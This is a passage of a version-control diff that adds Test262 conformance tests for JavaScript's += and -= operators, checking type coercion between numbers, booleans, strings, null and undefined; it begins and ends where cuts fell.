+x = new Boolean(true);
+x += 1;
+if (x !== 2) {
+ $ERROR('#3: x = new Boolean(true); x += 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x += new Boolean(true);
+if (x !== 2) {
+ $ERROR('#4: x = 1; x += new Boolean(true); x === 2. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x += new Number(1);
+if (x !== 2) {
+ $ERROR('#5: x = true; x += new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x += true;
+if (x !== 2) {
+ $ERROR('#6: x = new Number(1); x += true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x += new Number(1);
+if (x !== 2) {
+ $ERROR('#7: x = new Boolean(true); x += new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x += new Boolean(true);
+if (x !== 2) {
+ $ERROR('#8: x = new Number(1); x += new Boolean(true); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.2.js
new file mode 100644
index 000000000..73b6923bf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x += null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x += null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x += 1;
+if (x !== 1) {
+ $ERROR('#2: x = null; x += 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x += null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x += null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x += new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = null; x += new Number(1); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.3.js
new file mode 100644
index 000000000..158d2aa24
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x += 1;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x += 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x += new Number(1);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x += new Number(1); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.4.js
new file mode 100644
index 000000000..f54e30a45
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x += true;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x += true; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x += new Boolean(true);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x += new Boolean(true); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.5.js
new file mode 100644
index 000000000..b020ca563
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.5.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x += null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x += null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x += true;
+if (x !== 1) {
+ $ERROR('#2: x = null; x += true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x += null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x += null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x += new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = null; x += new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.6.js
new file mode 100644
index 000000000..7833c0ce9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.6.js
@@ -0,0 +1,78 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x += 1;
+if (x !== "11") {
+ $ERROR('#1: x = "1"; x += 1; x === "11". Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x += "1";
+if (x !== "11") {
+ $ERROR('#2: x = 1; x += "1"; x === "11". Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x += 1;
+if (x !== "11") {
+ $ERROR('#3: x = new String("1"); x += 1; x === "11". Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x += new String("1");
+if (x !== "11") {
+ $ERROR('#4: x = 1; x += new String("1"); x === "11". Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x += new Number(1);
+if (x !== "11") {
+ $ERROR('#5: x = "1"; x += new Number(1); x === "11". Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x += "1";
+if (x !== "11") {
+ $ERROR('#6: x = new Number(1); x += "1"; x === "11". Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x += new Number(1);
+if (x !== "11") {
+ $ERROR('#7: x = new String("1"); x += new Number(1); x === "11". Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x += new String("1");
+if (x !== "11") {
+ $ERROR('#8: x = new Number(1); x += new String("1"); x === "11". Actual: ' + (x));
+}
+
+//CHECK#9
+if ("x" + 1 !=="x1") {
+ $ERROR('#9: x = "x"; x += 1; x === "x1". Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x += "x";
+if (x !== "1x") {
+ $ERROR('#10: x = 1; x += "x"; x === "1x". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.7.js
new file mode 100644
index 000000000..2d80cf750
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.7.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x += "1";
+if (x !== "true1") {
+ $ERROR('#1: x = true; x += "1"; x === "true1". Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x += true;
+if (x !== "1true") {
+ $ERROR('#2: x = "1"; x += true; x === "1true". Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x += "1";
+if (x !== "true1") {
+ $ERROR('#3: x = new Boolean(true); x += "1"; x === "true1". Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x += new Boolean(true);
+if (x !== "1true") {
+ $ERROR('#4: x = "1"; x += new Boolean(true); x === "1true". Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x += new String("1");
+if (x !== "true1") {
+ $ERROR('#5: x = true; x += new String("1"); x === "true1". Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x += true;
+if (x !== "1true") {
+ $ERROR('#6: x = new String("1"); x += true; x === "1true". Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x += new String("1");
+if (x !== "true1") {
+ $ERROR('#7: x = new Boolean(true); x += new String("1"); x === "true1". Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x += new Boolean(true);
+if (x !== "1true") {
+ $ERROR('#8: x = new String("1"); x += new Boolean(true); x === "1true". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.8.js
new file mode 100644
index 000000000..c5f364c15
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x += undefined;
+if (x !== "1undefined") {
+ $ERROR('#1: x = "1"; x += undefined; x === "1undefined". Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x += "1";
+if (x !== "undefined1") {
+ $ERROR('#2: x = undefined; x += "1"; x === "undefined1". Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x += undefined;
+if (x !== "1undefined") {
+ $ERROR('#3: x = new String("1"); x += undefined; x === "1undefined". Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x += new String("1");
+if (x !== "undefined1") {
+ $ERROR('#4: x = undefined; x += new String("1"); x === "undefined1". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.9.js
new file mode 100644
index 000000000..f2a986ab8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x += null;
+if (x !== "1null") {
+ $ERROR('#1: x = "1"; x += null; x === "1null". Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x += "1";
+if (x !== "null1") {
+ $ERROR('#2: x = null; x += "1"; x === "null1". Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x += null;
+if (x !== "1null") {
+ $ERROR('#3: x = new String("1"); x += null; x === "1null". Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x += new String("1");
+if (x !== "null1") {
+ $ERROR('#4: x = null; x += new String("1"); x === "null1". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.1.js
new file mode 100644
index 000000000..1a155d3da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x -= true;
+if (x !== 0) {
+ $ERROR('#1: x = true; x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x -= true;
+if (x !== 0) {
+ $ERROR('#2: x = new Boolean(true); x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#3: x = true; x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = new Boolean(true); x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.2.js
new file mode 100644
index 000000000..42d5abdb7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x -= 1;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x -= 1;
+if (x !== 0) {
+ $ERROR('#2: x = new Number(1); x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#3: x = 1; x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = new Number(1); x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.3.js
new file mode 100644
index 000000000..298948f61
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x -= "1";
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x -= "1";
+if (x !== 0) {
+ $ERROR('#2: x = new String("1"); x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#3: x = "1"; x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = new String("1"); x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x -= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#5: x = "x"; x -= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x -= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#6: x = "1"; x -= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.4.js
new file mode 100644
index 000000000..28a9d2d76
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = null; x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x -= null;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x -= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = undefined; x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x -= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x -= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.1.js
new file mode 100644
index 000000000..94b810cbc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x -= 1;
+if (x !== 0) {
+ $ERROR('#1: x = true; x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x -= true;
+if (x !== 0) {
+ $ERROR('#2: x = 1; x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x -= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = 1; x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = true; x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x -= true;
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.2.js
new file mode 100644
index 000000000..e71788b75
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x -= 1;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x -= "1";
+if (x !== 0) {
+ $ERROR('#2: x = 1; x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x -= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x -= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = 1; x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = "1"; x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x -= "1";
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x -= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new String("1"); x -= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x -= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#9: x = "x"; x -= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x -= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#10: x = 1; x -= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.3.js
new file mode 100644
index 000000000..f7385f53f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x -= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x -= 1;
+if (x !== -1) {
+ $ERROR('#2: x = null; x -= 1; x === -1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x -= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x -= new Number(1);
+if (x !== -1) {
+ $ERROR('#4: x = null; x -= new Number(1); x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.4.js
new file mode 100644
index 000000000..0c1c5375f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x -= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x -= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x -= new Number(1);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x -= new Number(1); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.5.js
new file mode 100644
index 000000000..c6c26409c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x -= "1";
+if (x !== 0) {
+ $ERROR('#1: x = true; x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x -= true;
+if (x !== 0) {
+ $ERROR('#2: x = "1"; x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x -= "1";
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x -= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = "1"; x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#5: x = true; x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x -= true;
+if (x !== 0) {
+ $ERROR('#6: x = new String("1"); x -= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x -= new String("1");
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x -= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x -= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new String("1"); x -= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.6.js
new file mode 100644
index 000000000..39b17aeeb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = "1"; x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x -= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x -= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new String("1"); x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
